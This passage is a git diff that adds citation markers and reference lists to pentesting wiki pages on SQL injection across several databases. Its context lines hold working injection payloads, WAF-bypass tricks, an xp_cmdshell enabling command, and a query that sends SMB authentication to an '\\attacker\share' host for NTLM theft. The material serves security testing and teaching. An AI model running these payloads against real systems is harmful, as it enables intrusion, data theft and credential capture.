common vulnerable pattern is:[[10]](#references) ```php // Pseudocode @@ -655,7 +655,7 @@ Mitigations: ### SQLi via AST/filter-to-SQL converters (JSON_VALUE predicates) -Some frameworks **convert structured filter ASTs into raw SQL boolean fragments** (e.g., metadata filters or JSON predicates) and then **string-concatenate** those fragments into larger queries. If the converter **wraps string values as `'%s'` without escaping**, a single quote in user input terminates the literal and the rest is parsed as SQL. +Some frameworks **convert structured filter ASTs into raw SQL boolean fragments** (e.g., metadata filters or JSON predicates) and then **string-concatenate** those fragments into larger queries. If the converter **wraps string values as `'%s'` without escaping**, a single quote in user input terminates the literal and the rest is parsed as SQL.[[11]](#references) Example pattern (conceptual): @@ -671,7 +671,7 @@ JSON_VALUE(metadata, '$.department') = '' OR '1'='1' ### ORDER BY / identifier-based SQLi (PDO limitation) -Prepared statements **cannot bind identifiers** (column or table names). A common unsafe pattern is to take a user-controlled `sort` parameter and build `ORDER BY` using string concatenation, sometimes wrapping the input in backticks to “sanitize” it. This still enables SQLi because the identifier context is attacker-controlled. +Prepared statements **cannot bind identifiers** (column or table names). A common unsafe pattern is to take a user-controlled `sort` parameter and build `ORDER BY` using string concatenation, sometimes wrapping the input in backticks to “sanitize” it. This still enables SQLi because the identifier context is attacker-controlled.[[12]](#references) Vulnerable pattern: @@ -709,8 +709,17 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt ## References -- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) -- [https://blog.securelayer7.net/cve-2026-22730-sql-injection-spring-ai-mariadb/](https://blog.securelayer7.net/cve-2026-22730-sql-injection-spring-ai-mariadb/) -- [HTB: Gavel](https://0xdf.gitlab.io/2026/03/14/htb-gavel.html) +- [1] [PayloadsAllTheThings – SQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) +- [2] [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f) +- [3] [SQL Truncation Attack (Lucideus)](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) +- [4] [SQL Truncation Attack (InfoSec Institute)](https://resources.infosecinstitute.com/sql-truncation-attack/#gref) +- [5] [SQL Truncation Attack - updated behavior on modern MySQL](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation) +- [6] [Routed SQL Injection (paper)](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt) +- [7] [WAF Bypass cheat sheet - PayLoadAllTheThings (Ne3o1 fork)](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass) +- [8] [A scientific notation bug in MySQL left AWS WAF clients vulnerable to SQL injection](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/) +- [9] [33C3 CTF Writeup - Shia](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/) +- [10] [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) +- [11] [CVE-2026-22730: SQL Injection in Spring AI's MariaDB Vector Store](https://blog.securelayer7.net/cve-2026-22730-sql-injection-spring-ai-mariadb/) +- [12] [HTB: Gavel](https://0xdf.gitlab.io/2026/03/14/htb-gavel.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/cypher-injection-neo4j.md b/src/pentesting-web/sql-injection/cypher-injection-neo4j.md index e1ece8ce613..6051bf5ebcc 100644 --- a/src/pentesting-web/sql-injection/cypher-injection-neo4j.md +++ b/src/pentesting-web/sql-injection/cypher-injection-neo4j.md @@ -2,12 +2,10 @@ {{#include ../../banners/hacktricks-training.md}} -Check the following blogs: +## References -- [https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits](https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits) -- [https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8](https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8) +- [1] [Neo4jection: Secrets, Data, and Cloud Exploits](https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits) +- [2] [The Most Underrated Injection of All Time: Cypher Injection](https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8) {{#include ../../banners/hacktricks-training.md}} - - diff --git a/src/pentesting-web/sql-injection/ms-access-sql-injection.md b/src/pentesting-web/sql-injection/ms-access-sql-injection.md index 5b9778a7ad4..693ebbe2061 100644 --- a/src/pentesting-web/sql-injection/ms-access-sql-injection.md +++ b/src/pentesting-web/sql-injection/ms-access-sql-injection.md @@ -125,7 +125,7 @@ We have already discussed the [**chaining equals technique**](ms-access-sql-inje IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko') ``` -In a nutshell, the query uses an “if-then” statement in order to trigger a “200 OK” in case of success or a “500 Internal Error” otherwise. Taking advantage of the TOP 10 operator, it is possible to select the first ten results. The subsequent usage of LAST allows to consider the 10th tuple only. On such value, using the MID operator, it is possible to perform a simple character comparison. Properly changing the index of MID and TOP, we can dump the content of the “username” field for all rows. +In a nutshell, the query uses an “if-then” statement in order to trigger a “200 OK” in case of success or a “500 Internal Error” otherwise. Taking advantage of the TOP 10 operator, it is possible to select the first ten results. The subsequent usage of LAST allows to consider the 10th tuple only. On such value, using the MID operator, it is possible to perform a simple character comparison. Properly changing the index of MID and TOP, we can dump the content of the “username” field for all rows.[[1]](#references) ### Time-Based (Blind) Tricks @@ -141,7 +141,7 @@ Point the UNC path to: * a host that drops the TCP handshake after `SYN-ACK` * a firewall sinkhole -The extra seconds introduced by the remote lookup can be used as an **out-of-band timing oracle** for boolean conditions (e.g. pick a slow path only when the injected predicate is true). Microsoft documents the remote database behaviour and the associated registry kill-switch in KB5002984. +The extra seconds introduced by the remote lookup can be used as an **out-of-band timing oracle** for boolean conditions (e.g. pick a slow path only when the injected predicate is true). Microsoft documents the remote database behaviour and the associated registry kill-switch in KB5002984.[[2]](#references) ### Other Interesting functions @@ -176,11 +176,11 @@ The knowledge of the **web root absolute path may facilitate further attacks**. `http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00` -MS Access responds with an **error message containing the web directory full pathname**. +MS Access responds with an **error message containing the web directory full pathname**.[[1]](#references) ### File Enumeration -The following attack vector can be used to **inferrer the existence of a file on the remote filesystem**. If the specified file exists, MS Access triggers an error message informing that the database format is invalid: +The following attack vector can be used to **inferrer the existence of a file on the remote filesystem**. If the specified file exists, MS Access triggers an error message informing that the database format is invalid:[[1]](#references) `http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00` @@ -194,7 +194,7 @@ Another way to enumerate files consists into **specifying a database.table item* `http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00` -Where **name[i] is a .mdb filename** and **realTable is an existent table** within the database. Although MS Access will always trigger an error message, it is possible to distinguish between an invalid filename and a valid .mdb filename. +Where **name[i] is a .mdb filename** and **realTable is an existent table** within the database. Although MS Access will always trigger an error message, it is possible to distinguish between an invalid filename and a valid .mdb filename.[[1]](#references) ### Remote Database Access & NTLM Credential Theft (2023) @@ -229,7 +229,7 @@ Mitigations (recommended even for legacy Classic ASP apps): * Block outbound SMB/WebDAV at the network boundary. * Sanitize / parameterise any part of a query that may end up inside an `IN` clause. -The forced-authentication vector was revisited by Check Point Research in 2023, proving it is still exploitable on fully patched Windows Server when the registry key is absent. +The forced-authentication vector was revisited by Check Point Research in 2023, proving it is still exploitable on fully patched Windows Server when the registry key is absent.[[3]](#references) ### .mdb Password Cracker @@ -237,8 +237,8 @@ The forced-authentication vector was revisited by Check Point Research in 2023, ## References -- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) -- [Microsoft KB5002984 – Configuring Jet/ACE to block remote tables](https://support.microsoft.com/en-gb/topic/kb5002984-configuring-jet-red-database-engine-and-access-connectivity-engine-to-block-access-to-remote-databases-56406821-30f3-475c-a492-208b9bd30544) -- [Check Point Research – Abusing Microsoft Access Linked Tables for NTLM Forced Authentication (2023)](https://research.checkpoint.com/2023/abusing-microsoft-access-linked-table-feature-to-perform-ntlm-forced-authentication-attacks/) +- [1] [nibblesec – MS Access SQL Injection cheat sheet](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) +- [2] [Microsoft KB5002984 – Configuring Jet/ACE to block remote tables](https://support.microsoft.com/en-gb/topic/kb5002984-configuring-jet-red-database-engine-and-access-connectivity-engine-to-block-access-to-remote-databases-56406821-30f3-475c-a492-208b9bd30544) +- [3] [Check Point Research – Abusing Microsoft Access Linked Tables for NTLM Forced Authentication (2023)](https://research.checkpoint.com/2023/abusing-microsoft-access-linked-table-feature-to-perform-ntlm-forced-authentication-attacks/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/mssql-injection.md b/src/pentesting-web/sql-injection/mssql-injection.md index c85479d77cf..1f57a3cb2c1 100644 --- a/src/pentesting-web/sql-injection/mssql-injection.md +++ b/src/pentesting-web/sql-injection/mssql-injection.md @@ -43,7 +43,7 @@ https://vuln.app/getItem?id=1'%2buser_name(@@version)-- ## SSRF -These SSRF tricks [were taken from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/) +These SSRF tricks [were taken from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)[[1]](#references) ### `fn_xe_file_target_read_file` @@ -112,7 +112,7 @@ Additionally, there are alternative stored procedures like `master..xp_fileexist ### `OPENROWSET(BULK...)` and `BULK INSERT` -If you have stacked queries and bulk permissions, `OPENROWSET(BULK...)` is very handy in SQLi because it can both **read local files** and **touch attacker-controlled UNC paths**. When the login uses SQL Server authentication, remote file access is performed with the **SQL Server service account** security context, so this can leak or relay the **NetNTLM** of the service account instead of only reading a file. +If you have stacked queries and bulk permissions, `OPENROWSET(BULK...)` is very handy in SQLi because it can both **read local files** and **touch attacker-controlled UNC paths**. When the login uses SQL Server authentication, remote file access is performed with the **SQL Server service account** security context, so this can leak or relay the **NetNTLM** of the service account instead of only reading a file.[[3]](#references) ```sql -- Read a local file @@ -146,7 +146,7 @@ For a broader post-auth view of file reads and OS interaction, also check: ### `sys.dm_os_enumerate_filesystem`, `sys.dm_os_file_exists` -If `xp_dirtree` / `xp_fileexist` have been revoked, recent research showed that DMFs such as `sys.dm_os_enumerate_filesystem` and `sys.dm_os_file_exists` can still **coerce SMB authentication** from the SQL Server service account and may even return filesystem metadata: +If `xp_dirtree` / `xp_fileexist` have been revoked, recent research showed that DMFs such as `sys.dm_os_enumerate_filesystem` and `sys.dm_os_file_exists` can still **coerce SMB authentication** from the SQL Server service account and may even return filesystem metadata:[[4]](#references) ```sql SELECT * FROM sys.dm_os_enumerate_filesystem('\\attacker\share', '*'); @@ -209,7 +209,7 @@ SELECT dbo.http(@url); ### **Quick Exploitation: Retrieving Entire Table Contents in a Single Query** -[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/). +[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).[[1]](#references) A concise method for extracting the full content of a table in a single query involves utilizing the `FOR JSON` clause. This approach is more succinct than using the `FOR XML` clause, which requires a specific mode like "raw". The `FOR JSON` clause is preferred for its brevity. @@ -225,7 +225,7 @@ https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_n ### Retrieving the Current Query -[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/). +[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).[[1]](#references) For users granted the `VIEW SERVER STATE` permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text: @@ -241,7 +241,7 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERV ## **Little tricks for WAF bypasses** -[Tricks also from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/) +[Tricks also from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)[[1]](#references) Non-standard whitespace characters: %C2%85 или %C2%A0: @@ -271,7 +271,7 @@ https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users-- ### WAF Bypass with unorthodox stacked queries -According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";": +According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":[[2]](#references) ```sql SELECT 'a' SELECT 'b' @@ -320,10 +320,10 @@ exec('sp_configure''xp_cmdshell'',''1''reconfigure')-- ## References -- [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/) -- [https://gosecure.ai/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://gosecure.ai/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) -- [https://github.com/NetSPI/PowerUpSQL/wiki/SQL-Server---UNC-Path-Injection-Cheat-Sheet](https://github.com/NetSPI/PowerUpSQL/wiki/SQL-Server---UNC-Path-Injection-Cheat-Sheet) -- [https://labs.reversec.com/posts/2026/05/where-there-is-mssql-there-is-a-way](https://labs.reversec.com/posts/2026/05/where-there-is-mssql-there-is-a-way) +- [1] [Advanced MSSQL Injection Tricks](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/) +- [2] [AWS WAF Clients Left Vulnerable to SQL Injection Due to Unorthodox MSSQL Design Choice](https://gosecure.ai/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) +- [3] [SQL Server - UNC Path Injection Cheat Sheet](https://github.com/NetSPI/PowerUpSQL/wiki/SQL-Server---UNC-Path-Injection-Cheat-Sheet) +- [4] [Where There Is MSSQL, There Is A Way](https://labs.reversec.com/posts/2026/05/where-there-is-mssql-there-is-a-way) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/mysql-injection/README.md b/src/pentesting-web/sql-injection/mysql-injection/README.md index c29eb542a10..60d42056488 100644 --- a/src/pentesting-web/sql-injection/mysql-injection/README.md +++ b/src/pentesting-web/sql-injection/mysql-injection/README.md @@ -56,7 +56,7 @@ strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep() SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/" ``` -from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/) +from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)[[7]](#references) ## Flow @@ -127,7 +127,7 @@ When stacked queries are allowed, it might be possible to bypass WAFs by assigni 0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; # ``` -For more information please refer to [this blog post](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce). +For more information please refer to [this blog post](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce).[[8]](#references) ### Information_schema alternatives @@ -135,7 +135,7 @@ Remember that in "modern" versions of **MySQL** you can substitute _**informatio ### MySQLinjection without COMMAS -Select 2 columns without using any comma ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)): +Select 2 columns without using any comma ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):[[9]](#references) ``` -1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1# @@ -158,12 +158,12 @@ Supposing there is 2 columns (being the first one the ID) and the other one the select (select 1, 'flaf') = (SELECT * from demo limit 1); ``` -More info in [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952) +More info in [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)[[10]](#references) ### Injection without SPACES (`/**/` comment trick) Some applications sanitise or parse user input with functions such as `sscanf("%128s", buf)` which **stop at the first space character**. -Because MySQL treats the sequence `/**/` as a comment *and* as whitespace, it can be used to completely remove normal spaces from the payload while keeping the query syntactically valid. +Because MySQL treats the sequence `/**/` as a comment *and* as whitespace, it can be used to completely remove normal spaces from the payload while keeping the query syntactically valid.[[1]](#references) Example time-based blind injection bypassing the space filter: @@ -200,10 +200,10 @@ mysql> select version(); ## MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR) -This is not a classic SQL injection. When developers pass user input into `MATCH(col) AGAINST('...' IN BOOLEAN MODE)`, MySQL executes a rich set of Boolean search operators inside the quoted string. Many WAF/SAST rules only focus on quote breaking and miss this surface. +This is not a classic SQL injection. When developers pass user input into `MATCH(col) AGAINST('...' IN BOOLEAN MODE)`, MySQL executes a rich set of Boolean search operators inside the quoted string. Many WAF/SAST rules only focus on quote breaking and miss this surface.[[5]](#references) Key points: -- Operators are evaluated inside the quotes: `+` (must include), `-` (must not include), `*` (trailing wildcard), `"..."` (exact phrase), `()` (grouping), `<`/`>`/`~` (weights). See MySQL docs. +- Operators are evaluated inside the quotes: `+` (must include), `-` (must not include), `*` (trailing wildcard), `"..."` (exact phrase), `()` (grouping), `<`/`>`/`~` (weights). See MySQL docs.[[2]](#references)[[3]](#references) - This allows presence/absence and prefix tests without breaking out of the string literal, e.g. `AGAINST('+admin*' IN BOOLEAN MODE)` to check for any term starting with `admin`. - Useful to build oracles such as “does any row contain a term with prefix X?” and to enumerate hidden strings via prefix expansion. @@ -245,7 +245,7 @@ Mitigations: - Review analogous features in other DBMS: PostgreSQL `to_tsquery`/`websearch_to_tsquery`, SQL Server/Oracle/Db2 `CONTAINS` also parse operators inside quoted arguments. Notes: -- Prepared statements do not protect against semantic abuse of `REGEXP` or search operators. An input like `.*` remains a permissive regex even inside a quoted `REGEXP '.*'`. Use allow-lists or explicit guards. +- Prepared statements do not protect against semantic abuse of `REGEXP` or search operators. An input like `.*` remains a permissive regex even inside a quoted `REGEXP '.*'`. Use allow-lists or explicit guards.[[4]](#references) ## Error-based exfiltration via `updatexml()` @@ -258,7 +258,7 @@ dimension: id { } ``` -`updatexml()` raises an XPATH error that embeds the concatenated string, so the value from the inner `SELECT` appears in the error response between delimiters (`0x7e` = `~`). Iterate `LIMIT 1 OFFSET N` to enumerate rows. This works even when the UI forces “boolean” tests because the error message is still surfaced. +`updatexml()` raises an XPATH error that embeds the concatenated string, so the value from the inner `SELECT` appears in the error response between delimiters (`0x7e` = `~`). Iterate `LIMIT 1 OFFSET N` to enumerate rows. This works even when the UI forces “boolean” tests because the error message is still surfaced.[[6]](#references) ## Other MYSQL injection guides @@ -266,12 +266,15 @@ dimension: id { ## References -- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) -- [MySQL Full-Text Search – Boolean mode](https://dev.mysql.com/doc/refman/8.4/en/fulltext-boolean.html) -- [MySQL Full-Text Search – Overview](https://dev.mysql.com/doc/refman/8.4/en/fulltext-search.html) -- [MySQL REGEXP documentation](https://dev.mysql.com/doc/refman/8.4/en/regexp.html) -- [ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)](https://exploit.az/posts/wor/) -- [LookOut: RCE and internal access on Looker (Tenable)](https://www.tenable.com/blog/google-looker-vulnerabilities-rce-internal-access-lookout) +- [1] [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) +- [2] [MySQL Full-Text Search – Boolean mode](https://dev.mysql.com/doc/refman/8.4/en/fulltext-boolean.html) +- [3] [MySQL Full-Text Search – Overview](https://dev.mysql.com/doc/refman/8.4/en/fulltext-search.html) +- [4] [MySQL REGEXP documentation](https://dev.mysql.com/doc/refman/8.4/en/regexp.html) +- [5] [ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)](https://exploit.az/posts/wor/) +- [6] [LookOut: RCE and internal access on Looker (Tenable)](https://www.tenable.com/blog/google-looker-vulnerabilities-rce-internal-access-lookout) +- [7] [The ultimate SQL Injection payload](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/) +- [8] [ImpressCMS: from unauthenticated SQL Injection to RCE](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce) +- [9] [How make SQL SELECT query without comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma) +- [10] [Blind SQL Injection without an 'in'](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952) {{#include ../../../banners/hacktricks-training.md}} - diff --git a/src/pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md b/src/pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md index 0c8d779ae14..69371bffb18 100644 --- a/src/pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md +++ b/src/pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -**This is a summary of the MySQL/MariaDB/Percona techniques from [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**. +**This is a summary of the MySQL/MariaDB/Percona techniques from [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.[[1]](#references) ### Server-Side Request Forgery (SSRF) via SQL Functions @@ -26,7 +26,8 @@ The process varies if the `@@plugin_dir` is not writable, especially for MySQL v Automation of these processes can be facilitated by tools such as SQLMap, which supports UDF injection, and for blind SQL injections, output redirection or DNS request smuggling techniques may be utilized. -{{#include ../../../banners/hacktricks-training.md}} - +## References +- [1] [Using SQL Injection to perform SSRF/XSPA attacks](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/) +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/oracle-injection.md b/src/pentesting-web/sql-injection/oracle-injection.md index 58a1e493a7c..3a39fd35a29 100644 --- a/src/pentesting-web/sql-injection/oracle-injection.md +++ b/src/pentesting-web/sql-injection/oracle-injection.md @@ -6,7 +6,7 @@ ## SSRF -Using Oracle to do Out of Band HTTP and DNS requests is well documented but as a means of exfiltrating SQL data in injections. We can always modify these techniques/functions to do other SSRF/XSPA. +Using Oracle to do Out of Band HTTP and DNS requests is well documented but as a means of exfiltrating SQL data in injections. We can always modify these techniques/functions to do other SSRF/XSPA.[[3]](#references) Installing Oracle can be really painful, especially if you want to set up a quick instance to try out commands. My friend and colleague at [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), pointed me to [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) that allowed me to setup an instance on a t2.large AWS Ubuntu machine and Docker. @@ -181,7 +181,7 @@ SELECT UTL_INADDR.get_host_address( ### DBMS_CLOUD.SEND_REQUEST – full HTTP client on Autonomous/23c -Recent cloud-centric editions (Autonomous Database, 21c/23c, 23ai) ship with `DBMS_CLOUD`. The `SEND_REQUEST` function acts as a general-purpose HTTP client that supports custom verbs, headers, TLS and large bodies, making it far more powerful than the classical `UTL_HTTP`. +Recent cloud-centric editions (Autonomous Database, 21c/23c, 23ai) ship with `DBMS_CLOUD`. The `SEND_REQUEST` function acts as a general-purpose HTTP client that supports custom verbs, headers, TLS and large bodies, making it far more powerful than the classical `UTL_HTTP`.[[1]](#references) ```sql -- Assuming the current user has CREATE CREDENTIAL and network ACL privileges @@ -216,7 +216,7 @@ Because `SEND_REQUEST` allows arbitrary target URIs it can be abused via SQLi fo ### Automating the attack surface with **ODAT** -[ODAT – Oracle Database Attacking Tool](https://github.com/quentinhardy/odat) has kept pace with modern releases (tested up to 19c, 5.1.1 – Apr-2022). The `–utl_http`, `–utl_tcp`, `–httpuritype` and newer `–dbms_cloud` modules automatically: +[ODAT – Oracle Database Attacking Tool](https://github.com/quentinhardy/odat) has kept pace with modern releases (tested up to 19c, 5.1.1 – Apr-2022).[[2]](#references) The `–utl_http`, `–utl_tcp`, `–httpuritype` and newer `–dbms_cloud` modules automatically: * Detect usable callout packages/ACL grants. * Trigger DNS & HTTP callbacks for blind extraction. * Generate ready-to-copy SQL payloads for Burp/SQLMap. @@ -248,7 +248,8 @@ WHERE object_type = 'PROCEDURE' ## References -* Oracle Docs – `DBMS_CLOUD.SEND_REQUEST` package description and examples. -* quentinhardy/odat – Oracle Database Attacking Tool (latest release 5.1.1, Apr-2022). +- [1] [Oracle Docs – DBMS_CLOUD Subprograms and REST APIs (SEND_REQUEST)](https://docs.oracle.com/en-us/iaas/autonomous-database-serverless/doc/dbms-cloud-subprograms.html) +- [2] [quentinhardy/odat – Oracle Database Attacking Tool](https://github.com/quentinhardy/odat) +- [3] [Using SQL injection to perform SSRF/XSPA attacks (ibreak.software, Wayback Machine copy)](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/postgresql-injection/README.md b/src/pentesting-web/sql-injection/postgresql-injection/README.md index ef020bdd29f..5e0fe0781c1 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/README.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/README.md @@ -5,7 +5,7 @@ --- -**This page aims to explain different tricks that could help you to exploit a SQLinjection found in a postgresql database and to compliment the tricks you can find on** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) +**This page aims to explain different tricks that could help you to exploit a SQLinjection found in a postgresql database and to compliment the tricks you can find on** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)[[1]](#references) ## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration @@ -88,7 +88,8 @@ SELECT $$hacktricks$$; SELECT $TAG$hacktricks$TAG$; ``` +## References -{{#include ../../../banners/hacktricks-training.md}} - +- [1] [PayloadsAllTheThings – PostgreSQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md b/src/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md index ce314c5c7b8..620240e22e7 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md @@ -4,7 +4,7 @@ ## PostgreSQL Large Objects -PostgreSQL offers a structure known as **large objects**, accessible via the `pg_largeobject` table, designed for storing large data types, such as images or PDF documents. This approach is advantageous over the `COPY TO` function as it enables the **exportation of data back to the file system**, ensuring an exact replica of the original file is maintained. +PostgreSQL offers a structure known as **large objects**, accessible via the `pg_largeobject` table, designed for storing large data types, such as images or PDF documents. This approach is advantageous over the `COPY TO` function as it enables the **exportation of data back to the file system**, ensuring an exact replica of the original file is maintained.[[1]](#references) This primitive is commonly chained with [RCE with PostgreSQL Extensions](rce-with-postgresql-extensions.md) or server-side configuration overwrites once `lo_export` is available. @@ -88,7 +88,7 @@ select lo_unlink(173454); -- Deletes the specified large object #### Using `lo_from_bytea`, `lo_put` & `lo_get` -For modern SQLi exploitation, these functions are often more comfortable than manually inserting rows into `pg_largeobject`, especially if the sink only allows **function calls inside a `SELECT` expression**. +For modern SQLi exploitation, these functions are often more comfortable than manually inserting rows into `pg_largeobject`, especially if the sink only allows **function calls inside a `SELECT` expression**.[[2]](#references) ```sql SELECT lo_from_bytea(173454, decode('', 'hex')); -- Fixed OID @@ -104,9 +104,9 @@ Useful notes: - `lo_put` uses **byte offsets**, not `pageno`. - `lo_from_bytea` and `lo_put` split the data into the internal 2KB pages automatically. - This makes them more practical than direct `INSERT`/`UPDATE` against `pg_largeobject` when automating large uploads. -- Recent PostgreSQL 